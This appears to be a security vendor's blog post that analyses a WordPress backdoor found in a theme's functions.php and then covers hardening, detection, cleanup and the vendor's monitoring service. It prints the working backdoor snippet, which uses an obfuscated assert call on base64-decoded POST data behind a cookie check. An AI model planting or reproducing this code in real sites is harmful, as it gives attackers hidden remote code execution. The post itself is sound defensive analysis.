While running a malware cleanup on an infected WordPress site, we discovered a simple but deadly backdoor function in the active theme. When it's in place, it lets an attacker run arbitrary PHP code using ordinary browser access.
How the Attack Works
This attack depends on injecting some code into the active theme. Most themes have a functions.php file, which defines PHP functions that the theme uses. The theme loads it ahead of any pages. The malicious code is deposited into that file.
It uses the assert function in PHP, which is dangerously powerful. It's intended mostly for debugging. A string passed to assert will be executed as PHP code. In this case, it provides a backdoor which an HTTP client can use to run arbitrary code.
Here’s the relevant code:
if ((md5(@$_COOKIE[ssid]) == “beef1e01ad41668d609d778ad3ba496b”))
@array_map(“as” . “sert”, (array)base64_decode($_POST[x]));
if ((@$_COOKIE[wprid] == “59857777ad9b3”))
The first step is a check for a specific value in a cookie with the name "SSID", and the value shown. Only a user that has set that cookie and value will get access to the backdoor. This suggests some other part of the malware sets the cookie, though it hasn't been identified yet.
If the cookie matches, the malware decodes the post data as base 64 and then uses assert to execute it. As an extra attempt to evade detection, it doesn't call assert directly. It concatenates "as" and "sert" to build the function name as a string. The call to array_map runs assert on each element of the array which is its second argument. In this case, the array contains one element, which is the decoded base 64 string.
As a result, the decoded POST data runs as PHP code. It can do anything which the WordPress site could do — read and alter the database, create or change user accounts, post or alter content.
After executing the POST code, the malware checks the value of a cookie called "wprid." Like "SSID," this isn't a standard WordPress cookie. Most likely it's checking if the code did its dirty work successfully and exiting if it did.
The same code, right down to checking the same cookie values, has recently been reported elsewhere. It wasn't in a theme's functions.php but in a file called tiny-mice-help.php. That name may be designed to be confused with the popular TinyMCE plugin. The infection was reported in the middle of November 2018.
In principle, the infection could be in any PHP code that gets executed when the page is loaded or any file which can be reached by a URL. In itself, it's a very simple technique.
Malware which stays resident on a site is often minimalist, as this code is. The heavy work is done by the code in the POST data. A small amount of code has a higher chance of evading detection than a large function. The code that does the real harm executes in the computer's memory but is never stored in a file. It could be different every time.
Protection Against this Attack
Upgrading to PHP 7.2 or higher stops this attack cold. Version 7.2 no longer supports assert with a string argument, which means the injected code won't do anything except get an error. However, other WordPress functions can execute strings as PHP code, so injection attacks using those other functions will inevitably turn up. We discussed a similar attack using eval in an earlier post.
Hardening a WordPress website makes this type of attack less likely to succeed. PHP lets the coder disable the assert function by setting assert.active to 0 in php.ini. Production sites should do this as a rule. However, it's not guaranteed protection in a site with an old PHP version, since injected code can re-enable assertions.
A site can stop most code injection and other PHP malware by using the full range of WordPress security measures, such as these:
- Running security software
- Maintaining a good website firewall
- Requiring strong passwords and two-factor authentication
- Not letting untrusted users upload files
- Limiting write permissions to the WordPress directory
- Prompt installation of security updates
- Using themes and plugins only from trusted sources
- Being careful about embedded content
- Using HTTPS protection for the whole site
Code injection often comes through user accounts, rather than the one which owns the website. If these accounts have write permission to the files in the WordPress directory, then compromising any of them can compromise the website. By the same token, the account which owns the website shouldn't be used as a general-purpose account. If it receives email and interacts with websites, there are many ways to breach it.
What to do if You’re Hit
A code injection attack can be hard to detect. Your first warning may be that users get a browser warning when they access your site. It could be that the email you send has been blacklisted. It might be content on your site that shouldn't be there. Your site might stop appearing in search engine results.
If you see warning signs like these, you should check the files in your WordPress installation for recent changes. A theme's functions.php should be no newer than the latest update of the theme. If it's newer, you should check it for suspicious code, such as the section quoted in this article.
If you find a problem, you can try cleaning malware from website yourself. To attempt it, you should be comfortable going into file directories, examining files, working with a database, and making changes. A relatively simple fix is to restore the site with a backup from before the infection happened. Be wary of overwriting essential data on one hand and failing to remove the root cause on the other.
If the attackers don't overplay their hand, the malware can remain in place and do subtle damage over a long period of time. To catch and remove infections quickly, you can sign up for our monitoring and cleanup service. We have a variety of plans to suit your budget and the level of protection you need. Having ongoing protection will make your site more reliable and give you peace of mind.